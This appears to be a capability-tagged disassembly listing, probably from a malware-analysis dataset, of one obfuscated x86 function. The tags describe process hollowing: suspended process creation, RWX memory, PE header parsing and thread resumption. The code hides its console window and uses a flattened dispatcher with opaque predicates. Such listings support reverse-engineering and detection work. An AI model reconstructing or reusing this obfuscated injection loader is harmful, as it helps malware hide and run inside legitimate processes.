Function at 0x10003780
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x110
mov eax, dword [0x10069600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x118], 0x1d5a492d
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x11c], eax
sub eax, 0x80903689
je 0x10006584
jmp 0x100037bc
mov eax, dword [ebp - 0x11c]
sub eax, 0x80a38b3a
je 0x100090c2
jmp 0x100037d2
mov eax, dword [ebp - 0x11c]
sub eax, 0x818bca09
je 0x10008cb8
jmp 0x100037e8
mov eax, dword [ebp - 0x11c]
sub eax, 0x81907ae9
je 0x10006752
jmp 0x100037fe
mov eax, dword [ebp - 0x11c]
sub eax, 0x82e2e09d
je 0x100082e9
jmp 0x10003814
mov eax, dword [ebp - 0x11c]
sub eax, 0x83e78276
je 0x10007308
jmp 0x1000382a
mov eax, dword [ebp - 0x11c]
sub eax, 0x854da57d
je 0x1000651a
jmp 0x10003840
mov eax, dword [ebp - 0x11c]
sub eax, 0x8571501f
je 0x1000ac1f
jmp 0x10003856
mov eax, dword [ebp - 0x11c]
sub eax, 0x85d2f32b
je 0x100095e1
jmp 0x1000386c
mov eax, dword [ebp - 0x11c]
sub eax, 0x85f0a3c4
je 0x100068d5
jmp 0x10003882
mov eax, dword [ebp - 0x11c]
sub eax, 0x86455ab7
je 0x10009ad1
jmp 0x10003898
mov eax, dword [ebp - 0x11c]
sub eax, 0x86e4ac17
je 0x10007d5b
jmp 0x100038ae
mov eax, dword [ebp - 0x11c]
sub eax, 0x87866603
je 0x1000a491
jmp 0x100038c4
mov eax, dword [ebp - 0x11c]
sub eax, 0x88ccc4e8
je 0x1000992a
jmp 0x100038da
mov eax, dword [ebp - 0x11c]
sub eax, 0x89371b5f
je 0x10008508
jmp 0x100038f0
mov eax, dword [ebp - 0x11c]
sub eax, 0x89cde1c1
je 0x10009193
jmp 0x10003906
mov eax, dword [ebp - 0x11c]
sub eax, 0x8a432e1b
je 0x10009094
jmp 0x1000391c
mov eax, dword [ebp - 0x11c]
sub eax, 0x8a56259e
je 0x1000bf60
jmp 0x10003932
mov eax, dword [ebp - 0x11c]
sub eax, 0x8ab71683
je 0x10008250
jmp 0x10003948
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b831865
je 0x1000c124
jmp 0x1000395e
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b8e8e64
je 0x1000ad18
jmp 0x10003974
mov eax, dword [ebp - 0x11c]
sub eax, 0x8ca1b4c8
je 0x10008153
jmp 0x1000398a
mov eax, dword [ebp - 0x11c]
sub eax, 0x8cf152f2
je 0x10006b84
jmp 0x100039a0
mov eax, dword [ebp - 0x11c]
sub eax, 0x8d19ed69
je 0x1000c198
jmp 0x100039b6
mov eax, dword [ebp - 0x11c]
sub eax, 0x8d3949bc
je 0x1000744f
jmp 0x100039cc
mov eax, dword [ebp - 0x11c]
sub eax, 0x8d71090e
je 0x1000be29
jmp 0x100039e2
mov eax, dword [ebp - 0x11c]
sub eax, 0x8dc0b673
je 0x10009cf5
jmp 0x100039f8
mov eax, dword [ebp - 0x11c]
sub eax, 0x8e439ae1
je 0x1000a846
jmp 0x10003a0e
mov eax, dword [ebp - 0x11c]
sub eax, 0x8ed443ec
je 0x1000b7e5
jmp 0x10003a24
mov eax, dword [ebp - 0x11c]
sub eax, 0x8ef6a244
je 0x100077f6
jmp 0x10003a3a
mov eax, dword [ebp - 0x11c]
sub eax, 0x8fd3298a
je 0x100083fc
jmp 0x10003a50
mov eax, dword [ebp - 0x11c]
sub eax, 0x8ffafe07
je 0x100083b0
jmp 0x10003a66
mov eax, dword [ebp - 0x11c]
sub eax, 0x911e064b
je 0x10009343
jmp 0x10003a7c
mov eax, dword [ebp - 0x11c]
sub eax, 0x91bf5e21
je 0x1000b0cb
jmp 0x10003a92
mov eax, dword [ebp - 0x11c]
sub eax, 0x91c84382
je 0x1000737e
jmp 0x10003aa8
mov eax, dword [ebp - 0x11c]
sub eax, 0x92db3c94
je 0x100084d9
jmp 0x10003abe
mov eax, dword [ebp - 0x11c]
sub eax, 0x938af0fe
je 0x1000a2ec
jmp 0x10003ad4
mov eax, dword [ebp - 0x11c]
sub eax, 0x93d51dba
je 0x1000b587
jmp 0x10003aea
mov eax, dword [ebp - 0x11c]
sub eax, 0x961b290c
je 0x10007af9
jmp 0x10003b00
mov eax, dword [ebp - 0x11c]
sub eax, 0x97e104bd
je 0x1000b760
jmp 0x10003b16
mov eax, dword [ebp - 0x11c]
sub eax, 0x9838d0b9
je 0x1000bf7a
jmp 0x10003b2c
mov eax, dword [ebp - 0x11c]
sub eax, 0x98a0ae17
je 0x10009ce6
jmp 0x10003b42
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b11407b
je 0x1000b12b
jmp 0x10003b58
mov eax, dword [ebp - 0x11c]
sub eax, 0x9d134a2c
je 0x10005de9
jmp 0x10003b6e
mov eax, dword [ebp - 0x11c]
sub eax, 0x9d54c31c
je 0x100067a3
jmp 0x10003b84
mov eax, dword [ebp - 0x11c]
sub eax, 0x9ec20200
je 0x1000bd9e
jmp 0x10003b9a
mov eax, dword [ebp - 0x11c]
sub eax, 0x9efab287
je 0x1000a54d
jmp 0x10003bb0
mov eax, dword [ebp - 0x11c]
sub eax, 0xa0410cba
je 0x10008a8c
jmp 0x10003bc6
mov eax, dword [ebp - 0x11c]
sub eax, 0xa05f30b8
je 0x10008222
jmp 0x10003bdc
mov eax, dword [ebp - 0x11c]
sub eax, 0xa0c1c73a
je 0x10006921
jmp 0x10003bf2
mov eax, dword [ebp - 0x11c]
sub eax, 0xa0d23771
je 0x1000bad8
jmp 0x10003c08
mov eax, dword [ebp - 0x11c]
sub eax, 0xa0db2e09
je 0x10006cf9
jmp 0x10003c1e
mov eax, dword [ebp - 0x11c]
sub eax, 0xa154ca50
je 0x1000894d
jmp 0x10003c34
mov eax, dword [ebp - 0x11c]
sub eax, 0xa18e65e6
je 0x1000b4a2
jmp 0x10003c4a
mov eax, dword [ebp - 0x11c]
sub eax, 0xa1b4e3d4
je 0x10008a12
jmp 0x10003c60
mov eax, dword [ebp - 0x11c]
sub eax, 0xa25b5928
je 0x10006087
jmp 0x10003c76
mov eax, dword [ebp - 0x11c]
sub eax, 0xa2c0e833
je 0x1000a730
jmp 0x10003c8c
mov eax, dword [ebp - 0x11c]
sub eax, 0xa31cd572
je 0x10008f5b
jmp 0x10003ca2
mov eax, dword [ebp - 0x11c]
sub eax, 0xa38cd937
je 0x10006ccd
jmp 0x10003cb8
mov eax, dword [ebp - 0x11c]
sub eax, 0xa3b79502
je 0x10009222
jmp 0x10003cce
mov eax, dword [ebp - 0x11c]
sub eax, 0xa4dd26d6
je 0x1000be94
jmp 0x10003ce4
mov eax, dword [ebp - 0x11c]
sub eax, 0xa57b12bd
je 0x10006346
jmp 0x10003cfa
mov eax, dword [ebp - 0x11c]
sub eax, 0xa70aed58
je 0x1000759a
jmp 0x10003d10
mov eax, dword [ebp - 0x11c]
sub eax, 0xa7254413
je 0x1000bcc7
jmp 0x10003d26
mov eax, dword [ebp - 0x11c]
sub eax, 0xa7eecde2
je 0x10006e78
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xe4], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010a0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010a0
add esp, 4
mov ecx, dword [0x1006a928]
mov eax, dword [0x1006a924]
mov edx, ecx
sub edx, 0xe1f08dcf
sub edx, 1
add edx, 0xe1f08dcf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1a261b51
mov ecx, 0x615de92e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov ecx, dword [0x1006a928]
mov eax, dword [0x1006a924]
mov edx, ecx
sub edx, 0x74d3c4ec
sub edx, 1
add edx, 0x74d3c4ec
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfd6d1fa7
mov ecx, 0xe47642a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dl, 1
mov eax, 0x7ecb175c
mov ecx, 0xbf80d036
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0xfa72d43a
jmp 0x1000c1cc
movss xmm0, dword [0x10019390]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x118], 0xb2e719aa
jmp 0x1000c1cc
mov eax, dword [0x1006a928]
mov ecx, dword [0x1006a924]
mov edx, eax
add edx, 0x790780b3
sub edx, 1
sub edx, 0x790780b3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x28e7afa8
mov ecx, 0x9d54c31c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dl, 1
mov eax, 0x10fd073c
mov ecx, 0x6dd1d033
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0x6964ca1e
jmp 0x1000c1cc
movss xmm0, dword [0x10019374]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x10019370]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x118], 0x76dfd495
jmp 0x1000c1cc
movss xmm0, dword [0x10019364]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x118], 0x7bd002e4
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0xfba7a2d
jmp 0x1000c1cc
movss xmm0, dword [0x10019358]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x10019354]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x118], 0xc7f68fa1
jmp 0x1000c1cc
mov ecx, dword [0x1006a928]
mov eax, dword [0x1006a924]
mov edx, ecx
sub edx, 0xeb263932
sub edx, 1
add edx, 0xeb263932
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe5e76004
mov ecx, 0x91c84382
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
movss xmm0, dword [0x100191f0]
movss dword [ebp - 0xfc], xmm0
mov ecx, dword [0x1006a928]
mov eax, dword [0x1006a924]
mov edx, ecx
add edx, 0xb152b3a4
sub edx, 1
sub edx, 0xb152b3a4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe5e76004
mov ecx, 0x5566fff3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
movss xmm0, dword [0x10019328]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x10019324]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x118], 0x13212b4e
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0x616d915
jmp 0x1000c1cc
movss xmm0, dword [0x1001930c]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x118], 0x7c0722ed
jmp 0x1000c1cc
mov dl, 1
mov eax, 0x2fb84a9c
mov ecx, 0x14f44a04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0x6e9f3af4
jmp 0x1000c1cc
mov eax, dword [0x1006a928]
mov ecx, dword [0x1006a924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa7254413
mov ecx, 0x4f8d19df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0xd8cb55c8
jmp 0x1000c1cc
movss xmm0, dword [0x100192e8]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x118], 0xab4be25
jmp 0x1000c1cc
mov eax, dword [0x1006a928]
mov ecx, dword [0x1006a924]
mov edx, eax
sub edx, 0xddc4da6e
sub edx, 1
add edx, 0xddc4da6e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x512f2feb
mov ecx, 0xb7a8a276
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dl, 1
mov eax, 0x5139760d
mov ecx, 0x571a4f85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov eax, dword [0x1006a928]
mov ecx, dword [0x1006a924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe11e0b45
mov ecx, 0x463d037c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
movss xmm0, dword [0x100192cc]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100192c8]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x118], 0x89371b5f
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0xf0118bb0
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0x40649e2
jmp 0x1000c1cc
movss xmm0, dword [0x100192a0]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x118], 0x1b6184b0
jmp 0x1000c1cc
movss xmm0, dword [0x10019294]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x10019290]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x118], 0xd76786bb
jmp 0x1000c1cc
mov ecx, dword [0x1006a928]
mov eax, dword [0x1006a924]
mov edx, ecx
sub edx, 0xd4db445b
sub edx, 1
add edx, 0xd4db445b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9ec20200
mov ecx, 0x7ad2062b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
movss xmm0, dword [0x10019288]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10019284]
movss dword [ebp - 0x10c], xmm0
mov dl, 1
mov eax, 0x80a38b3a
mov ecx, 0x62a991
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0xf9d5d40e
jmp 0x1000c1cc
movss xmm0, dword [0x1001927c]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x118], 0x11336387
jmp 0x1000c1cc
movss xmm0, dword [0x100191a4]
movss dword [ebp - 0x10c], xmm0
mov eax, dword [0x1006a928]
mov ecx, dword [0x1006a924]
mov edx, eax
sub edx, 0x2158dd6d
sub edx, 1
add edx, 0x2158dd6d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x51d0abc2
mov ecx, 0x2a734b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dl, 1
mov eax, 0xaaacc908
mov ecx, 0x66140c16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0x548e5b90
jmp 0x1000c1cc
movss xmm0, dword [0x1001925c]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x118], 0xb7fb67cd
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0x2ea32d39
jmp 0x1000c1cc
movss xmm0, dword [0x10019198]
movss dword [ebp - 0x110], xmm0
mov eax, dword [0x1006a928]
mov ecx, dword [0x1006a924]
mov edx, eax
add edx, 0xfbdee92f
sub edx, 1
sub edx, 0xfbdee92f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x62422f2c
mov ecx, 0x18adcf10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0x8dc0b673
jmp 0x1000c1cc
movss xmm0, dword [0x10019224]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x118], 0xfd735e4a
jmp 0x1000c1cc
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x80]
mov dword [eax], ecx
mov ecx, dword [0x1006a928]
mov eax, dword [0x1006a924]
mov edx, ecx
add edx, 0xcad80909
sub edx, 1
sub edx, 0xcad80909
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8a56259e
mov ecx, 0xab157749
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov eax, dword [ebp - 0x78]
movzx edx, word [eax + 0x10]
mov ecx, dword [ebp - 0x7c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov dword [eax], 0
mov ecx, dword [0x1006a928]
mov eax, dword [0x1006a924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9838d0b9
mov ecx, 0x9efab287
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0xd434a7fd
jmp 0x1000c1cc
mov eax, dword [0x1006a928]
mov ecx, dword [0x1006a924]
mov edx, eax
add edx, 0x51e81b74
sub edx, 1
sub edx, 0x51e81b74
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4118b6aa
mov ecx, 0xfd43a1f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov eax, dword [ebp - 0x50]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x54]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x118], 0xb3101029
jmp 0x1000c1cc
mov dl, byte [ebp - 0x3d]
mov eax, 0x6e38c25
mov ecx, 0xf152a15d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov ecx, dword [0x1006a928]
mov eax, dword [0x1006a924]
mov edx, ecx
sub edx, 0x500310f8
sub edx, 1
add edx, 0x500310f8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x30e09352
mov ecx, 0x813489c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0x1efc8c95
jmp 0x1000c1cc
mov ecx, dword [0x1006a928]
mov eax, dword [0x1006a924]
mov edx, ecx
add edx, 0x6df70815
sub edx, 1
sub edx, 0x6df70815
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4f5a1959
mov ecx, 0x53d4e9ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0xfc84246b
jmp 0x1000c1cc
mov ecx, dword [0x1006a928]
mov eax, dword [0x1006a924]
mov edx, ecx
add edx, 0x414285a4
sub edx, 1
sub edx, 0x414285a4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8d19ed69
mov ecx, 0xac481528
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x118], 0x5dec8256
jmp 0x1000c1cc
mov eax, dword [0x1006a928]
mov ecx, dword [0x1006a924]
mov edx, eax
add edx, 0x18b8bce8
sub edx, 1
sub edx, 0x18b8bce8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1045cbfd
mov ecx, 0xf3d910e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c1cc
movss xmm0, dword [0x10019200]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x118], 0xdde3bc22
jmp 0x1000c1cc
movss xmm0, dword [0x100191c4]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x118], 0x4f8d19df
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0x818bca09
jmp 0x1000c1cc
movss xmm0, dword [0x100191a0]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1001919c]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x118], 0xb068be3a
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0xab1a351f
jmp 0x1000c1cc
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x80]
mov dword [eax], ecx
mov dword [ebp - 0x118], 0x938af0fe
jmp 0x1000c1cc
mov eax, dword [ebp - 0x78]
movzx eax, word [eax + 0x10]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x7c]
add ecx, 0x5b093625
add ecx, eax
sub ecx, 0x5b093625
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov dword [eax], 0
mov dword [ebp - 0x118], 0x87866603
jmp 0x1000c1cc
mov dword [ebp - 0x118], 0x202122d2
jmp 0x1000c1cc
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x118], 0xac481528
jmp 0x1000c1cc
jmp 0x100037a0